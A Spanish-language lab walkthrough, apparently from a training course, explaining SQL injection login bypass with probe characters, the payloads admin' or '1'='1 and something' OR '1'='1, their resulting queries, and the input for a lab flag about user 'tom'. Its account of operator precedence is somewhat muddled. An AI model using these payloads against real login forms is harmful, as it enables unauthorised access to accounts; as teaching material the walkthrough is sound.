Bypass de Autenticación y Evaluación de Consultas SQL
🔐 Omitir Autenticación (Bypass Login)
La aplicación usa una consulta como:

SELECT * FROM logins WHERE username='admin' AND password='p@ssw0rd';
Si devuelve algún registro → login exitoso.
Si no devuelve registros → Login Failed.
🕵️♂️ Descubriendo SQL Injection
Para detectar vulnerabilidad, probamos caracteres especiales:
| Carga útil | URL encoded |
|---|---|
| ' | %27 |
| " | %22 |
| # | %23 |
| ; | %3B |
| ) | %29 |
Si ponemos ' como usuario, ocurre error SQL:
SELECT * FROM logins WHERE username=''' AND password='something';
Esto confirma que la consulta es vulnerable a inyección SQL.
🧨 Inyección con OR
Queremos que la consulta siempre sea TRUE, sin importar usuario/contraseña.
Payload clásica:
admin' or '1'='1
Consulta resultante:
SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='something';
Evaluación:

-
'1'='1'→ TRUE -
password='something'→ FALSE -
TRUE AND FALSE→ FALSE -
Luego viene el
username='admin' -
Si ese registro existe → TRUE final

Login exitoso sin contraseña real.
🔐 ¿Y si NO sabemos un usuario válido?
Si usamos:
notAdmin' OR '1'='1

→ Falla, porque notAdmin no existe.

Entonces hacemos el bypass en el campo contraseña, así:
something' OR '1'='1
Consulta:
SELECT * FROM logins WHERE username='notAdmin' OR '1'='1' AND password='something' OR '1'='1';


Esto SIEMPRE devuelve TRUE → login exitoso como el primer usuario de la tabla.
Incluso funciona con:
' or '1'='1
📝 ¿Qué debes hacer en el LAB?
La pregunta dice:
Intente iniciar sesión como usuario 'tom'. ¿Cuál es el valor de la bandera?
Esto significa:
- En el formulario del laboratorio, pon de usuario:
tom' or '1'='1
Porque existe el usuario tom
Y contraseña cualquiera

